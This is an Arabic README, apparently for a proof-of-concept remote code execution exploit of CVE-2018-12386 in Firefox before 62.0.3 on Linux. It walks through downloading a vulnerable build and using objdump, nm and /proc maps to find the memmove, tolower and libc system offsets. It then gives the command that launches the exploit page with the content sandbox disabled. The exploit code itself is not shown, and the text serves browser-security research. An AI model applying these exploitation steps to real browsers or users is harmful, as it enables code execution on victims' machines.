
CVE-2018-12386 - استغلال RCE محصور في Firefox لنظام لينكس (Firefox <v62.0.3)
إليك استغلال بسيط للثغرة CVE-2018-12386 التي اكتشفها Niklas Baumstark و Samuel Groß و Bruno Keith.
هذا في الغالب عبارة عن دليل إثبات (PoC) قمت به من أجل المتعة، لا يوجد تجاوز لصندوق الرمل وسيعمل فقط على إعدادات لينكس معينة حيث الإزاحات المستخدمة من قبل الاستغلال معروفة بالفعل (يمكن تغييرها في exploit/offsets.js).
يعمل هذا الاستغلال للإصدارات التي تسبق Firefox 62.0.3 و Firefox ESR 60.2.2.
يمكنك تنزيل إصدارات فايرفوكس السابقة مباشرة من خادم FTP الخاص بمؤسسة موزيلا: https://ftp.mozilla.org/pub/firefox/releases/
يمكنك استخدام، على سبيل المثال، الإصدار 62.0.2 لنظام لينكس 64 بت: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soإذا كنت تستخدم Firefox 62.0.2، فيجب أن تكون الإزاحة المقدمة في exploit/offsets.js هي الصحيحة.
للإصدارات الأخرى، طريقة سهلة للقيام بذلك هي استخدام البدائية addrof لتسريب عنوان دالة جافاسكريبت Math.max، ثم إيجاد العنوان الأساسي لـ libxul.so لنفس النسخة من فايرفوكس التي تستغلها حالياً (مع cat /proc/$(pidof firefox)/maps على سبيل المثال) وطرح الاثنين للحصول على إزاحة libxul_math_max.
إذا كنت تستخدم Firefox 62.0.2، فيجب أن تكون الإزاحة المقدمة في exploit/offsets.js هي الصحيحة.
للإصدارات الأخرى، طريقة سهلة للقيام بذلك هي استخدام objdump.
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
8052e0: ff 25 82 86 40 05 jmpq *0x5408682(%rip) # 5c0d968 <tolower@GLIBC_2.2.5>
5c0b370 و 5c0d968 هما القيمتان اللتان نحتاجهما، أي إزاحة memmove و tolower في libxul.so.
libc.so.6تعتمد هذه الإزاحات بشكل كامل على إصدار libc الذي تستخدمه.
# libc.so.6 location
[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system
بمجرد حصولك على فايرفوكس والإزاحات الصحيحة، يمكنك اختبار الاستغلال عن طريق تشغيل الأمر التالي:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

إذا كنت ترغب في إلقاء التحية: @lyte__